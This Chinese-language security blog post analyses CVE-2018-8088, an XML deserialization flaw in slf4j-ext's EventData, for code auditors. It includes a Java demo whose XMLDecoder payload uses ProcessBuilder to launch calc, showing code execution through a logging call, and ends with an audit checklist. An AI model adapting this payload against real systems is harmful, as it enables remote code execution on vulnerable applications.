目录

slf4j中的一个xml反序列化

前言

在审计某一产品时,全局搜索看到了这个xml反序列化,然后就单独拿出来研究了下,发现在18年slf4j-ext1.7.25以后版本中就直接删除了相应的类,还给分配了一个编号CVE-2018-8088

分析

引入了以下两个依赖,其中log4j-slf4j-impl为最新的版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j-impl</artifactId>
    <version>2.20.0</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-ext</artifactId>
    <version>1.7.25</version>
</dependency>

先来看xml反序列化的点,在org.slf4j.ext.EventData#EventData(java.lang.String)

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/e3e68fd6-4fa3-663c-aa61-82511d1a8d6a.png

EventData大家可能不陌生,在CVE-2019-2725 weblogic二次反序列化的时候用到过

接着在org.apache.logging.slf4j.EventDataConverter#convertEvent中,new了一个EventData,并传入message

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/11306a32-650a-2841-ac01-7c754d068a91.png

然后在org.apache.logging.slf4j.Log4jLogger#log中,调用了convertEvent,在这里就想找一下是否可以通过记录日志等信息,最后传参传到这里

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/f86609f3-5cdf-fac1-33ec-d786d0088a9b.png

这里我简单的构造了一个demo,利用这个log去记录错误信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import org.apache.logging.log4j.Level;
import org.apache.logging.slf4j.Log4jLogger;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.Marker;
import org.slf4j.MarkerFactory;

import static org.apache.logging.log4j.Level.*;

public class Main {


    public static void main(String[] args) {


        final Logger logger = LoggerFactory.getLogger("EventLogger");

        Marker maker = MarkerFactory.getMarker("EVENT");
        Level level = getLevel(String.valueOf(ERROR));
        String s = null;
        try {

            s = new String("<java>\n" +
                    "    <object class=\"java.lang.ProcessBuilder\">\n" +
                    "        <array class=\"java.lang.String\" length=\"1\" >\n" +
                    "            <void index=\"0\">\n" +
                    "                <string>calc</string>\n" +
                    "            </void>\n" +
                    "        </array>\n" +
                    "        <void method=\"start\"/>\n" +
                    "    </object>\n" +
                    "</java>\n");
            int result = 10 / 0;
        } catch (ArithmeticException e) {
            ((org.apache.logging.slf4j.Log4jLogger) logger).log(maker, "111", level.intLevel(), s, null, e);
        }

    }
}

这样构造log的话是可以rce的,但是slf4j是一个底层的框架,一般是不会直接使用它去记录日志的,而且如果使用它去记录日志还有两个条件:

  1. LoggerFactory.getLogger(“EventLogger”);必须使用EventLogger的Logger
  2. MarkerFactory.getMarker(“EVENT”); mark必须标记为EVENT

这两个条件是为了通过if的条件判断

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/44fe8d98-c7b9-9770-278f-26ef21ae7904.png

前面提到slf4j是一个底层的框架,org.apache.logging.slf4j.Log4jLogger#log继承了LocationAwareLogger接口,那接下来就是去找那些依赖或工具集成了sfl4j并且使用LocationAwareLogger接口记录信息

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/c1419fe4-1722-c321-b45a-1bc6f46d2c61.png

在网上找到了,slf4j可以和jdk-logging、log4j1、log4j2、logback集成,然后测试了下,集成后都没有使用LocationAwareLogger去记录信息,如何集成和简单使用可以去参考这篇文章

Druid集成

在我正在审计的产品中,是Druid中使用SLF4JImpl类集成了LocationAwareLogger

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/ac18343b-1c5e-3836-b62d-a2b855a449f2.png

前面提到了有两个条件,其中EventLogger可以通过new一个SLF4JImpl对象去满足这个条件,本身从工厂类里获取log是无法满足这个条件的,除此之外,还有一个mark必须标记为EVENT的条件,这个在SLF4JImpl中直接就全部设为了null,因此就无从下手没办法利用

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/5cbe8439-bd38-96cd-63fa-912d3d24a7e9.png

小结

这个点看下来,其实利用难度很高,但也学到了一些东西,感觉这个利用点以后在审计代码的时候,可以去关注一下,说不定有的产品就可以利用呢

这是在github上搜索哪些产品集成了LocationAwareLogger,大概看了一下,mark这个条件基本就没有满足的,有兴趣的可以去找一找

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/0d871a5f-4371-bc92-5305-2808f2040637.png

代码审计时总结如下:

  1. 搜索哪些类集成了LocationAwareLogger
  2. 其次去看markEventLogger是否可控,就是前面提到的两个条件
  3. 然后就是看依赖中是否有slf4j-ext且 ≤ 1.7.25,或者全局搜索是否有EventData
  4. 最后看log记录的错误信息是否可控